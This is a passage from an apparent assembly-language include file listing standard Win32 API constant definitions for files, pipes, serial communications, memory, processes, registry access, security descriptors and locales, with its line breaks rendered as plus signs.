80000000h+FILE_FLAG_OVERLAPPED equ 40000000h+FILE_FLAG_NO_BUFFERING equ 20000000h+FILE_FLAG_RANDOM_ACCESS equ 10000000h+FILE_FLAG_SEQUENTIAL_SCAN equ 8000000h+FILE_FLAG_DELETE_ON_CLOSE equ 4000000h+FILE_FLAG_BACKUP_SEMANTICS equ 2000000h+FILE_FLAG_POSIX_SEMANTICS equ 1000000h+CREATE_NEW equ 1+CREATE_ALWAYS equ 2+OPEN_EXISTING equ 3+OPEN_ALWAYS equ 4+TRUNCATE_EXISTING equ 5+PIPE_ACCESS_INBOUND equ 1h+PIPE_ACCESS_OUTBOUND equ 2h+PIPE_ACCESS_DUPLEX equ 3h+PIPE_CLIENT_END equ 0h+PIPE_SERVER_END equ 1h+PIPE_WAIT equ 0h+PIPE_NOWAIT equ 1h+PIPE_READMODE_BYTE equ 0h+PIPE_READMODE_MESSAGE equ 2h+PIPE_TYPE_BYTE equ 0h+PIPE_TYPE_MESSAGE equ 4h+PIPE_UNLIMITED_INSTANCES equ 255+SECURITY_CONTEXT_TRACKING equ 40000h+SECURITY_EFFECTIVE_ONLY equ 80000h+SECURITY_SQOS_PRESENT equ 100000h+SECURITY_VALID_SQOS_FLAGS equ 1F0000h+SP_SERIALCOMM equ 1h+PST_UNSPECIFIED equ 0h+PST_RS232 equ 1h+PST_PARALLELPORT equ 2h+PST_RS422 equ 3h+PST_RS423 equ 4h+PST_RS449 equ 5h+PST_FAX equ 21h+PST_SCANNER equ 22h+PST_NETWORK_BRIDGE equ 100h+PST_LAT equ 101h+PST_TCPIP_TELNET equ 102h+PST_X25 equ 103h+PCF_DTRDSR equ 1h+PCF_RTSCTS equ 2h+PCF_RLSD equ 4h+PCF_PARITY_CHECK equ 8h+PCF_XONXOFF equ 10h+PCF_SETXCHAR equ 20h+PCF_TOTALTIMEOUTS equ 40h+PCF_INTTIMEOUTS equ 80h+PCF_SPECIALCHARS equ 100h+PCF_16BITMODE equ 200h+DLL_PROCESS_DETACH equ 0+DLL_PROCESS_ATTACH equ 1+DLL_THREAD_ATTACH equ 2+DLL_THREAD_DETACH equ 3+SP_PARITY equ 1h+SP_BAUD equ 2h+SP_DATABITS equ 4h+SP_STOPBITS equ 8h+SP_HANDSHAKING equ 10h+SP_PARITY_CHECK equ 20h+SP_RLSD equ 40h+BAUD_075 equ 1h+BAUD_110 equ 2h+BAUD_134_5 equ 4h+BAUD_150 equ 8h+BAUD_300 equ 10h+BAUD_600 equ 20h+BAUD_1200 equ 40h+BAUD_1800 equ 80h+BAUD_2400 equ 100h+BAUD_4800 equ 200h+BAUD_7200 equ 400h+BAUD_9600 equ 800h+BAUD_14400 equ 1000h+BAUD_19200 equ 2000h+BAUD_38400 equ 4000h+BAUD_56K equ 8000h+BAUD_128K equ 10000h+BAUD_115200 equ 20000h+BAUD_57600 equ 40000h+BAUD_USER equ 10000000h+DATABITS_5 equ 1h+DATABITS_6 equ 2h+DATABITS_7 equ 4h+DATABITS_8 equ 8h+DATABITS_16 equ 10h+DATABITS_16X equ 20h+STOPBITS_10 equ 1h+STOPBITS_15 equ 2h+STOPBITS_20 equ 4h+PARITY_NONE equ 100h+PARITY_ODD equ 200h+PARITY_EVEN equ 400h+PARITY_MARK equ 800h+PARITY_SPACE equ 1000h+DTR_CONTROL_DISABLE equ 0h+DTR_CONTROL_ENABLE equ 1h+DTR_CONTROL_HANDSHAKE equ 2h+RTS_CONTROL_DISABLE equ 0h+RTS_CONTROL_ENABLE equ 1h+RTS_CONTROL_HANDSHAKE equ 2h+RTS_CONTROL_TOGGLE equ 3h+GMEM_FIXED equ 0h+GMEM_MOVEABLE equ 2h+GMEM_NOCOMPACT equ 10h+GMEM_NODISCARD equ 20h+GMEM_ZEROINIT equ 40h+GMEM_MODIFY equ 80h+GMEM_DISCARDABLE equ 100h+GMEM_NOT_BANKED equ 1000h+GMEM_SHARE equ 2000h+GMEM_DDESHARE equ 2000h+GMEM_NOTIFY equ 4000h+GMEM_LOWER equ GMEM_NOT_BANKED+GMEM_VALID_FLAGS equ 7F72h+GMEM_INVALID_HANDLE equ 8000h+GMEM_DISCARDED equ 4000h+GMEM_LOCKCOUNT equ 0FFh+GHND equ GMEM_MOVEABLE|GMEM_ZEROINIT+GPTR equ GMEM_FIXED|GMEM_ZEROINIT+LMEM_FIXED equ 0h+LMEM_MOVEABLE equ 2h+LMEM_NOCOMPACT equ 10h+LMEM_NODISCARD equ 20h+LMEM_ZEROINIT equ 40h+LMEM_MODIFY equ 80h+LMEM_DISCARDABLE equ 0F00h+LMEM_VALID_FLAGS equ 0F72h+LMEM_INVALID_HANDLE equ 8000h+LHND equ LMEM_MOVEABLE+LMEM_ZEROINIT+LPTR equ LMEM_FIXED+LMEM_ZEROINIT+NONZEROLHND equ LMEM_MOVEABLE+NONZEROLPTR equ LMEM_FIXED+LMEM_DISCARDED equ 4000h+LMEM_LOCKCOUNT equ 0FFh+DEBUG_PROCESS equ 1h+DEBUG_ONLY_THIS_PROCESS equ 2h+CREATE_SUSPENDED equ 4h+DETACHED_PROCESS equ 8h+CREATE_NEW_CONSOLE equ 10h+NORMAL_PRIORITY_CLASS equ 20h+IDLE_PRIORITY_CLASS equ 40h+HIGH_PRIORITY_CLASS equ 80h+REALTIME_PRIORITY_CLASS equ 100h+CREATE_NEW_PROCESS_GROUP equ 200h+CREATE_NO_WINDOW equ 8000000h+PROFILE_USER equ 10000000h+PROFILE_KERNEL equ 20000000h+PROFILE_SERVER equ 40000000h+MAXLONG equ 7FFFFFFFh+THREAD_BASE_PRIORITY_MIN equ -2+THREAD_BASE_PRIORITY_MAX equ 2+THREAD_BASE_PRIORITY_LOWRT equ 15+THREAD_BASE_PRIORITY_IDLE equ -15+THREAD_PRIORITY_LOWEST equ THREAD_BASE_PRIORITY_MIN+THREAD_PRIORITY_BELOW_NORMAL equ THREAD_PRIORITY_LOWEST+1+THREAD_PRIORITY_NORMAL equ 0+THREAD_PRIORITY_HIGHEST equ THREAD_BASE_PRIORITY_MAX+THREAD_PRIORITY_ABOVE_NORMAL equ THREAD_PRIORITY_HIGHEST-1+THREAD_PRIORITY_ERROR_RETURN equ MAXLONG+THREAD_PRIORITY_TIME_CRITICAL equ THREAD_BASE_PRIORITY_LOWRT+THREAD_PRIORITY_IDLE equ THREAD_BASE_PRIORITY_IDLE+APPLICATION_ERROR_MASK equ 20000000h+ERROR_SEVERITY_SUCCESS equ 0h+ERROR_SEVERITY_INFORMATIONAL equ 40000000h+ERROR_SEVERITY_WARNING equ 80000000h+ERROR_SEVERITY_ERROR equ 0C0000000h+MINCHAR equ 80h+MAXCHAR equ 7Fh+MINSHORT equ 8000h+MAXSHORT equ 7FFFh+MINLONG equ 80000000h+MAXBYTE equ 0FFh+MAXWORD equ 0FFFFh+MAXDWORD equ 0FFFFFFFFh+LANG_NEUTRAL equ 0h+LANG_BULGARIAN equ 2h+LANG_CHINESE equ 4h+LANG_CROATIAN equ 1Ah+LANG_CZECH equ 5h+LANG_DANISH equ 6h+LANG_DUTCH equ 13h+LANG_ENGLISH equ 9h+LANG_FINNISH equ 0Bh+LANG_FRENCH equ 0Ch+LANG_GERMAN equ 7h+LANG_GREEK equ 8h+LANG_HUNGARIAN equ 0Eh+LANG_ICELANDIC equ 0Fh+LANG_ITALIAN equ 10h+LANG_JAPANESE equ 11h+LANG_KOREAN equ 12h+LANG_NORWEGIAN equ 14h+LANG_POLISH equ 15h+LANG_PORTUGUESE equ 16h+LANG_ROMANIAN equ 18h+LANG_RUSSIAN equ 19h+LANG_SLOVAK equ 1Bh+LANG_SLOVENIAN equ 24h+LANG_SPANISH equ 0Ah+LANG_SWEDISH equ 1Dh+LANG_TURKISH equ 1Fh+SUBLANG_NEUTRAL equ 0h+SUBLANG_DEFAULT equ 1h+SUBLANG_SYS_DEFAULT equ 2h+SUBLANG_CHINESE_TRADITIONAL equ 1h+SUBLANG_CHINESE_SIMPLIFIED equ 2h+SUBLANG_CHINESE_HONGKONG equ 3h+SUBLANG_CHINESE_SINGAPORE equ 4h+SUBLANG_DUTCH equ 1h+SUBLANG_DUTCH_BELGIAN equ 2h+SUBLANG_ENGLISH_US equ 1h+SUBLANG_ENGLISH_UK equ 2h+SUBLANG_ENGLISH_AUS equ 3h+SUBLANG_ENGLISH_CAN equ 4h+SUBLANG_ENGLISH_NZ equ 5h+SUBLANG_ENGLISH_EIRE equ 6h+SUBLANG_FRENCH equ 1h+SUBLANG_FRENCH_BELGIAN equ 2h+SUBLANG_FRENCH_CANADIAN equ 3h+SUBLANG_FRENCH_SWISS equ 4h+SUBLANG_GERMAN equ 1h+SUBLANG_GERMAN_SWISS equ 2h+SUBLANG_GERMAN_AUSTRIAN equ 3h+SUBLANG_ITALIAN equ 1h+SUBLANG_ITALIAN_SWISS equ 2h+SUBLANG_NORWEGIAN_BOKMAL equ 1h+SUBLANG_NORWEGIAN_NYNORSK equ 2h+SUBLANG_PORTUGUESE equ 2h+SUBLANG_PORTUGUESE_BRAZILIAN equ 1h+SUBLANG_SPANISH equ 1h+SUBLANG_SPANISH_MEXICAN equ 2h+SUBLANG_SPANISH_MODERN equ 3h+SORT_DEFAULT equ 0h+SORT_JAPANESE_XJIS equ 0h+SORT_JAPANESE_UNICODE equ 1h+SORT_CHINESE_BIG5 equ 0h+SORT_CHINESE_UNICODE equ 1h+SORT_KOREAN_KSC equ 0h+SORT_KOREAN_UNICODE equ 1h+FILE_READ_DATA equ 1h+FILE_LIST_DIRECTORY equ 1h+FILE_WRITE_DATA equ 2h+FILE_ADD_FILE equ 2h+FILE_APPEND_DATA equ 4h+FILE_ADD_SUBDIRECTORY equ 4h+FILE_CREATE_PIPE_INSTANCE equ 4h+FILE_READ_EA equ 8h+FILE_READ_PROPERTIES equ FILE_READ_EA+FILE_WRITE_EA equ 10h+FILE_WRITE_PROPERTIES equ FILE_WRITE_EA+FILE_EXECUTE equ 20h+FILE_TRAVERSE equ 20h+FILE_DELETE_CHILD equ 40h+FILE_READ_ATTRIBUTES equ 80h+FILE_WRITE_ATTRIBUTES equ 100h+FILE_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|1FFh+FILE_GENERIC_READ equ STANDARD_RIGHTS_READ|FILE_READ_DATA|FILE_READ_ATTRIBUTES|FILE_READ_EA|SYNCHRONIZE+FILE_GENERIC_WRITE equ STANDARD_RIGHTS_WRITE|FILE_WRITE_DATA|FILE_WRITE_ATTRIBUTES|FILE_WRITE_EA|FILE_APPEND_DATA|SYNCHRONIZE+FILE_GENERIC_EXECUTE equ STANDARD_RIGHTS_EXECUTE|FILE_READ_ATTRIBUTES|FILE_EXECUTE|SYNCHRONIZE+FILE_SHARE_READ equ 1h+FILE_SHARE_WRITE equ 2h+FILE_ATTRIBUTE_READONLY equ 1h+FILE_ATTRIBUTE_HIDDEN equ 2h+FILE_ATTRIBUTE_SYSTEM equ 4h+FILE_ATTRIBUTE_DIRECTORY equ 10h+FILE_ATTRIBUTE_ARCHIVE equ 20h+FILE_ATTRIBUTE_NORMAL equ 80h+FILE_ATTRIBUTE_TEMPORARY equ 100h+FILE_ATTRIBUTE_COMPRESSED equ 800h+FILE_NOTIFY_CHANGE_FILE_NAME equ 1h+FILE_NOTIFY_CHANGE_DIR_NAME equ 2h+FILE_NOTIFY_CHANGE_ATTRIBUTES equ 4h+FILE_NOTIFY_CHANGE_SIZE equ 8h+FILE_NOTIFY_CHANGE_LAST_WRITE equ 10h+FILE_NOTIFY_CHANGE_SECURITY equ 100h+MAILSLOT_NO_MESSAGE equ -1+MAILSLOT_WAIT_FOREVER equ -1+FILE_CASE_SENSITIVE_SEARCH equ 1h+FILE_CASE_PRESERVED_NAMES equ 2h+FILE_UNICODE_ON_DISK equ 4h+FILE_PERSISTENT_ACLS equ 8h+FILE_FILE_COMPRESSION equ 10h+FILE_VOLUME_IS_COMPRESSED equ 8000h+IO_COMPLETION_MODIFY_STATE equ 2h+IO_COMPLETION_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|3h+DUPLICATE_CLOSE_SOURCE equ 1h+DUPLICATE_SAME_ACCESS equ 2h+ACCESS_SYSTEM_SECURITY equ 1000000h+MAXIMUM_ALLOWED equ 2000000h+GENERIC_READ equ 80000000h+GENERIC_WRITE equ 40000000h+GENERIC_EXECUTE equ 20000000h+GENERIC_ALL equ 10000000h+ACL_REVISION equ 2+ACL_REVISION1 equ 1+ACL_REVISION2 equ 2+ACCESS_ALLOWED_ACE_TYPE equ 0h+ACCESS_DENIED_ACE_TYPE equ 1h+SYSTEM_AUDIT_ACE_TYPE equ 2h+SYSTEM_ALARM_ACE_TYPE equ 3h+HELPINFO_WINDOW equ 1+HELPINFO_MENUITEM equ 2+OBJECT_INHERIT_ACE equ 1h+CONTAINER_INHERIT_ACE equ 2h+NO_PROPAGATE_INHERIT_ACE equ 4h+INHERIT_ONLY_ACE equ 8h+VALID_INHERIT_FLAGS equ 0Fh+SUCCESSFUL_ACCESS_ACE_FLAG equ 40h+FAILED_ACCESS_ACE_FLAG equ 80h+AclRevisionInformation equ 1+AclSizeInformation equ 2+SECURITY_DESCRIPTOR_REVISION equ 1+SECURITY_DESCRIPTOR_REVISION1 equ 1+SECURITY_DESCRIPTOR_MIN_LENGTH equ 20+SE_OWNER_DEFAULTED equ 1h+SE_GROUP_DEFAULTED equ 2h+SE_DACL_PRESENT equ 4h+SE_DACL_DEFAULTED equ 8h+SE_SACL_PRESENT equ 10h+SE_SACL_DEFAULTED equ 20h+SE_SELF_RELATIVE equ 8000h+SE_PRIVILEGE_ENABLED_BY_DEFAULT equ 1h+SE_PRIVILEGE_ENABLED equ 2h+SE_PRIVILEGE_USED_FOR_ACCESS equ 80000000h+PRIVILEGE_SET_ALL_NECESSARY equ 1+SecurityAnonymous equ 1+SecurityIdentification equ 2+REG_OPTION_RESERVED equ 0+REG_OPTION_NON_VOLATILE equ 0+REG_OPTION_VOLATILE equ 1+REG_OPTION_CREATE_LINK equ 2+REG_OPTION_BACKUP_RESTORE equ 4+REG_NONE equ 0+REG_SZ equ 1+REG_EXPAND_SZ equ 2+REG_BINARY equ 3+REG_DWORD equ 4+REG_DWORD_LITTLE_ENDIAN equ 4+REG_DWORD_BIG_ENDIAN equ 5+REG_LINK equ 6+REG_MULTI_SZ equ 7+REG_RESOURCE_LIST equ 8+REG_FULL_RESOURCE_DESCRIPTOR equ 9+REG_RESOURCE_REQUIREMENTS_LIST equ 10+REG_CREATED_NEW_KEY equ 1h+REG_OPENED_EXISTING_KEY equ 2h+REG_WHOLE_HIVE_VOLATILE equ 1h+REG_REFRESH_HIVE equ 2h+REG_NOTIFY_CHANGE_NAME equ 1h+REG_NOTIFY_CHANGE_ATTRIBUTES equ 2h+REG_NOTIFY_CHANGE_LAST_SET equ 4h+REG_NOTIFY_CHANGE_SECURITY equ 8h+REG_LEGAL_CHANGE_FILTER equ REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_ATTRIBUTES|REG_NOTIFY_CHANGE_LAST_SET|REG_NOTIFY_CHANGE_SECURITY+REG_LEGAL_OPTION equ REG_OPTION_RESERVED|REG_OPTION_NON_VOLATILE|REG_OPTION_VOLATILE|REG_OPTION_CREATE_LINK|REG_OPTION_BACKUP_RESTORE+KEY_QUERY_VALUE equ 1h+KEY_SET_VALUE equ 2h+KEY_CREATE_SUB_KEY equ 4h+KEY_ENUMERATE_SUB_KEYS equ 8h+KEY_NOTIFY equ 10h+KEY_CREATE_LINK equ 20h+KEY_READ equ STANDARD_RIGHTS_READ|KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY&(-1-SYNCHRONIZE)+KEY_WRITE equ STANDARD_RIGHTS_WRITE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|SYNCHRONIZE&(-1-SYNCHRONIZE)+KEY_EXECUTE equ KEY_READ+KEY_ALL_ACCESS equ STANDARD_RIGHTS_ALL|KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY|KEY_CREATE_LINK&(-1-SYNCHRONIZE)+EXCEPTION_DEBUG_EVENT equ 1+CREATE_THREAD_DEBUG_EVENT equ 2+CREATE_PROCESS_DEBUG_EVENT equ 3+EXIT_THREAD_DEBUG_EVENT equ 4+EXIT_PROCESS_DEBUG_EVENT equ 5+LOAD_DLL_DEBUG_EVENT equ 6+UNLOAD_DLL_DEBUG_EVENT equ 7+OUTPUT_DEBUG_STRING_EVENT equ 8+RIP_EVENT equ 9+EXCEPTION_MAXIMUM_PARAMETERS equ 15+DRIVE_REMOVABLE equ 2+DRIVE_FIXED equ 3+DRIVE_REMOTE equ 4+DRIVE_CDROM equ 5+DRIVE_RAMDISK equ 6+FILE_TYPE_UNKNOWN equ 0h+FILE_TYPE_DISK equ 1h+FILE_TYPE_CHAR equ 2h+FILE_TYPE_PIPE equ 3h+FILE_TYPE_REMOTE equ 8000h+STD_INPUT_HANDLE equ -10+STD_OUTPUT_HANDLE equ -11+STD_ERROR_HANDLE equ -12+NOPARITY equ 0+ODDPARITY equ 1+EVENPARITY equ 2+MARKPARITY equ 3+SPACEPARITY equ 4+ONESTOPBIT equ 0+ONE5STOPBITS equ 1+TWOSTOPBITS equ 2+IGNORE equ 0+INFINITE equ 0FFFFh+CBR_110 equ 110+CBR_300 equ 300+CBR_600 equ 600+CBR_1200 equ 1200+CBR_2400 equ 2400+CBR_4800 equ 4800+CBR_9600 equ 9600+CBR_14400 equ 14400+CBR_19200 equ 19200+CBR_38400 equ 38400+CBR_56000 equ 56000+CBR_57600 equ 57600+CBR_115200 equ 115200+CBR_128000 equ 128000+CBR_256000 equ 256000+CE_RXOVER equ 1h+CE_OVERRUN equ 2h+CE_RXPARITY equ 4h+CE_FRAME equ 8h+CE_BREAK equ 10h+CE_TXFULL equ 100h+CE_PTO equ 200h+CE_IOE equ 400h+CE_DNS equ 800h+CE_OOP equ 1000h+CE_MODE equ 8000h+IE_BADID equ -1+IE_OPEN equ -2+IE_NOPEN equ -3+IE_MEMORY equ -4+IE_DEFAULT equ -5+IE_HARDWARE equ -10+IE_BYTESIZE equ -11+IE_BAUDRATE equ -12+EV_RXCHAR equ 1h+EV_RXFLAG equ 2h+EV_TXEMPTY equ 4h+EV_CTS equ 8h+EV_DSR equ 10h+EV_RLSD equ 20h+EV_BREAK equ 40h+EV_ERR equ 80h+EV_RING equ 100h+EV_PERR equ 200h+EV_RX80FULL equ 400h+EV_EVENT1 equ 800h+EV_EVENT2 equ 1000h+SETXOFF equ 1+SETXON equ 2+SETRTS equ 3+CLRRTS equ 4+SETDTR equ 5+CLRDTR equ 6+RESETDEV equ 7+SETBREAK equ 8+CLRBREAK equ 9+PURGE_TXABORT equ 1h+PURGE_RXABORT equ 2h+PURGE_TXCLEAR equ 4h+PURGE_RXCLEAR equ 8h+LPTx equ 80h+MS_CTS_ON equ 10h+MS_DSR_ON equ 20h+MS_RING_ON equ 40h+MS_RLSD_ON equ 80h+S_QUEUEEMPTY equ 0+S_THRESHOLD equ 1+S_ALLTHRESHOLD equ 2+S_NORMAL equ 0+S_LEGATO equ 1+S_STACCATO equ 2+S_PERIOD512 equ 0+S_PERIOD1024 equ 1+S_PERIOD2048 equ 2+S_PERIODVOICE equ 3+S_WHITE512 equ 4+S_WHITE1024 equ 5+S_WHITE2048 equ 6+S_WHITEVOICE equ 7+S_SERDVNA equ -1+S_SEROFM equ -2+S_SERMACT equ -3+S_SERQFUL equ -4+S_SERBDNT equ -5+S_SERDLN equ -6+S_SERDCC equ -7+S_SERDTP equ -8+S_SERDVL equ -9+S_SERDMD equ -10+S_SERDSH equ -11+S_SERDPT equ -12+S_SERDFQ equ -13+S_SERDDR equ -14+S_SERDSR equ -15+S_SERDST equ -16+NMPWAIT_WAIT_FOREVER equ 0FFFFh+NMPWAIT_NOWAIT equ 1h+NMPWAIT_USE_DEFAULT_WAIT equ 0h+FS_CASE_IS_PRESERVED equ FILE_CASE_PRESERVED_NAMES+FS_CASE_SENSITIVE equ FILE_CASE_SENSITIVE_SEARCH+FS_UNICODE_STORED_ON_DISK equ FILE_UNICODE_ON_DISK+FS_PERSISTENT_ACLS equ FILE_PERSISTENT_ACLS+SECTION_QUERY equ 1h+SECTION_MAP_WRITE equ 2h+SECTION_MAP_READ equ 4h+SECTION_MAP_EXECUTE equ 8h+SECTION_EXTEND_SIZE equ 10h+SECTION_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SECTION_QUERY|SECTION_MAP_WRITE|SECTION_MAP_READ|SECTION_MAP_EXECUTE|SECTION_EXTEND_SIZE+FILE_MAP_COPY equ SECTION_QUERY+FILE_MAP_WRITE equ SECTION_MAP_WRITE+FILE_MAP_READ equ SECTION_MAP_READ+FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS+OF_READ equ 0h+OF_WRITE equ 1h+OF_READWRITE equ 2h+OF_SHARE_COMPAT equ 0h+OF_SHARE_EXCLUSIVE equ 10h+OF_SHARE_DENY_WRITE equ 20h+OF_SHARE_DENY_READ equ 30h+OF_SHARE_DENY_NONE equ 40h+OF_PARSE equ 100h+OF_DELETE equ 200h+OF_VERIFY equ 400h+OF_CANCEL equ 800h+OF_CREATE equ 1000h+OF_PROMPT equ 2000h+OF_EXIST equ 4000h+OF_REOPEN equ 8000h+OFS_MAXPATHNAME equ 128+DONT_RESOLVE_DLL_REFERENCES equ 1h+TC_NORMAL equ 0+TC_HARDERR equ 1+TC_GP_TRAP equ 2+TC_SIGNAL equ 3+MAX_LEADBYTES equ 12+MB_PRECOMPOSED equ 1h+MB_COMPOSITE equ 2h+MB_USEGLYPHCHARS equ 4h+WC_DEFAULTCHECK equ 100h+WC_COMPOSITECHECK equ 200h+WC_DISCARDNS equ 10h+WC_SEPCHARS equ 20h+WC_DEFAULTCHAR equ 40h+CT_CTYPE1 equ 1h+CT_CTYPE2 equ 2h+CT_CTYPE3 equ 4h+C1_UPPER equ 1h+C1_LOWER equ 2h+C1_DIGIT equ 4h+C1_SPACE equ 8h+C1_PUNCT equ 10h+C1_CNTRL equ 20h+C1_BLANK equ 40h+C1_XDIGIT equ 80h+C1_ALPHA equ 100h+C2_LEFTTORIGHT equ 1h+C2_RIGHTTOLEFT equ 2h+C2_EUROPENUMBER equ 3h+C2_EUROPESEPARATOR equ 4h+C2_EUROPETERMINATOR equ 5h+C2_ARABICNUMBER equ 6h+C2_COMMONSEPARATOR equ 7h+C2_BLOCKSEPARATOR equ 8h+C2_SEGMENTSEPARATOR equ 9h+C2_WHITESPACE equ 0Ah+C2_OTHERNEUTRAL equ 0Bh+C2_NOTAPPLICABLE equ 0h+C3_NONSPACING equ 1h+C3_DIACRITIC equ 2h+C3_VOWELMARK equ 4h+C3_SYMBOL equ 8h+C3_NOTAPPLICABLE equ 0h+NORM_IGNORECASE equ 1h+NORM_IGNORENONSPACE equ 2h+NORM_IGNORESYMBOLS equ 4h+MAP_FOLDCZONE equ 10h+MAP_PRECOMPOSED equ 20h+MAP_COMPOSITE equ 40h+MAP_FOLDDIGITS equ 80h+LCMAP_LOWERCASE equ 100h+LCMAP_UPPERCASE equ 200h+LCMAP_SORTKEY equ 400h+LCMAP_BYTEREV equ 800h+SORT_STRINGSORT equ 1000h+CP_ACP equ 0+CP_OEMCP equ 1+CTRY_DEFAULT equ 0+CTRY_AUSTRALIA equ 61+CTRY_AUSTRIA equ 43+CTRY_BELGIUM equ 32+CTRY_BRAZIL equ 55+CTRY_CANADA equ 2+CTRY_DENMARK equ 45+CTRY_FINLAND equ 358+CTRY_FRANCE equ 33+CTRY_GERMANY equ 49+CTRY_ICELAND equ 354+CTRY_IRELAND equ 353+CTRY_ITALY equ 39+CTRY_JAPAN equ 81+CTRY_MEXICO equ 52+CTRY_NETHERLANDS equ 31+CTRY_NEW_ZEALAND equ 64+CTRY_NORWAY equ 47+CTRY_PORTUGAL equ 351+CTRY_PRCHINA equ 86+CTRY_SOUTH_KOREA equ 82+CTRY_SPAIN equ 34+CTRY_SWEDEN equ 46+CTRY_SWITZERLAND equ 41+CTRY_TAIWAN equ 886+CTRY_UNITED_KINGDOM equ 44+CTRY_UNITED_STATES equ 1+LOCALE_NOUSEROVERRIDE equ 80000000h+LOCALE_USER_DEFAULT equ 0000h+LOCALE_ILANGUAGE equ 1h+LOCALE_SLANGUAGE equ 2h+LOCALE_SENGLANGUAGE equ 1001h+LOCALE_SABBREVLANGNAME equ 3h+LOCALE_SNATIVELANGNAME equ 4h+LOCALE_ICOUNTRY equ 5h+LOCALE_SCOUNTRY equ 6h+LOCALE_SENGCOUNTRY equ 1002h+LOCALE_SABBREVCTRYNAME equ 7h+LOCALE_SNATIVECTRYNAME equ 8h+LOCALE_IDEFAULTLANGUAGE equ 9h+LOCALE_IDEFAULTCOUNTRY equ 0Ah+LOCALE_IDEFAULTCODEPAGE equ 0Bh+LOCALE_SLIST equ 0Ch+LOCALE_IMEASURE equ 0Dh+LOCALE_SDECIMAL equ 0Eh+LOCALE_STHOUSAND equ 0Fh+LOCALE_SGROUPING equ 10h+LOCALE_IDIGITS equ 11h+LOCALE_ILZERO equ 12h+LOCALE_SNATIVEDIGITS equ 13h+LOCALE_SCURRENCY equ 14h+LOCALE_SINTLSYMBOL equ 15h+LOCALE_SMONDECIMALSEP equ 16h+LOCALE_SMONTHOUSANDSEP equ 17h+LOCALE_SMONGROUPING equ 18h+LOCALE_ICURRDIGITS equ 19h+LOCALE_IINTLCURRDIGITS equ 1Ah+LOCALE_ICURRENCY equ 1Bh+LOCALE_INEGCURR equ 1Ch+LOCALE_SDATE equ 1Dh+LOCALE_STIME equ 1Eh+LOCALE_SSHORTDATE equ 1Fh+LOCALE_SLONGDATE equ 20h+LOCALE_STIMEFORMAT equ 1003h+LOCALE_IDATE equ 21h+LOCALE_ILDATE equ 22h+LOCALE_ITIME equ 23h+LOCALE_ICENTURY equ 24h+LOCALE_ITLZERO equ 25h+LOCALE_IDAYLZERO equ 26h+LOCALE_IMONLZERO equ 27h+LOCALE_S1159 equ 28h+LOCALE_S2359 equ 29h+LOCALE_SDAYNAME1 equ 2Ah+LOCALE_SDAYNAME2 equ 2Bh+LOCALE_SDAYNAME3 equ 2Ch+LOCALE_SDAYNAME4 equ 2Dh+LOCALE_SDAYNAME5 equ 2Eh+LOCALE_SDAYNAME6 equ 2Fh+LOCALE_SDAYNAME7 equ 30h+LOCALE_SABBREVDAYNAME1 equ 31h+LOCALE_SABBREVDAYNAME2 equ 32h+LOCALE_SABBREVDAYNAME3 equ 33h+LOCALE_SABBREVDAYNAME4 equ 34h+LOCALE_SABBREVDAYNAME5 equ 35h+LOCALE_SABBREVDAYNAME6 equ 36h+LOCALE_SABBREVDAYNAME7 equ 37h+LOCALE_SMONTHNAME1 equ 38h+LOCALE_SMONTHNAME2 equ 39h+LOCALE_SMONTHNAME3 equ 3Ah+LOCALE_SMONTHNAME4 equ 3Bh+LOCALE_SMONTHNAME5 equ 3Ch+LOCALE_SMONTHNAME6 equ 3Dh+LOCALE_SMONTHNAME7 equ 3Eh+LOCALE_SMONTHNAME8 equ 3Fh+LOCALE_SMONTHNAME9 equ 40h+LOCALE_SMONTHNAME10 equ 41h+LOCALE_SMONTHNAME11 equ 42h+LOCALE_SMONTHNAME12 equ 43h+LOCALE_SABBREVMONTHNAME1 equ 44h+LOCALE_SABBREVMONTHNAME2 equ 45h+LOCALE_SABBREVMONTHNAME3 equ 46h+LOCALE_SABBREVMONTHNAME4 equ 47h+LOCALE_SABBREVMONTHNAME5 equ 48h+LOCALE_SABBREVMONTHNAME6 equ 49h+LOCALE_SABBREVMONTHNAME7 equ 4Ah+LOCALE_SABBREVMONTHNAME8 equ 4Bh+LOCALE_SABBREVMONTHNAME9 equ 4Ch+LOCALE_SABBREVMONTHNAME10 equ 4Dh+LOCALE_SABBREVMONTHNAME11 equ 4Eh+LOCALE_SABBREVMONTHNAME12 equ 4Fh+LOCALE_SABBREVMONTHNAME13 equ 100Fh+LOCALE_SPOSITIVESIGN equ 50h+LOCALE_SNEGATIVESIGN equ 51h+LOCALE_IPOSSIGNPOSN equ 52h+LOCALE_INEGSIGNPOSN equ 53h+LOCALE_IPOSSYMPRECEDES equ 54h+LOCALE_IPOSSEPBYSPACE equ 55h+LOCALE_INEGSYMPRECEDES equ 56h+LOCALE_INEGSEPBYSPACE equ 57h+TIME_NOMINUTESORSECONDS equ 1h+TIME_NOSECONDS equ 2h+TIME_NOTIMEMARKER equ 4h+TIME_FORCE24HOURFORMAT equ 8h+DATE_SHORTDATE equ 1h+DATE_LONGDATE equ 2h+TF_FORCEDRIVE equ 80h+LOCKFILE_FAIL_IMMEDIATELY equ 1h+LOCKFILE_EXCLUSIVE_LOCK equ 2h+LNOTIFY_OUTOFMEM equ 0+LNOTIFY_MOVE equ 1+LNOTIFY_DISCARD equ 2+SLE_ERROR equ 1h+SLE_MINORERROR equ 2h+SLE_WARNING equ 3h+SEM_FAILCRITICALERRORS equ 1h+SEM_NOGPFAULTERRORBOX equ 2h+SEM_NOOPENFILEERRORBOX equ 8000h+RT_CURSOR equ 1+RT_BITMAP equ 2+RT_ICON equ 3+RT_MENU equ 4+RT_DIALOG equ 5+RT_STRING equ 6+RT_FONTDIR equ 7+RT_FONT equ 8+RT_ACCELERATOR equ 9+RT_RCDATA equ 10+DFC_CAPTION equ 1+DFC_MENU equ 2+DFC_SCROLL equ 3+DFC_BUTTON equ 4+DFCS_CAPTIONCLOSE equ 0000h+DFCS_CAPTIONMIN equ 0001h+DFCS_CAPTIONMAX equ 0002h+DFCS_CAPTIONRESTORE equ 0003h+DFCS_CAPTIONHELP equ 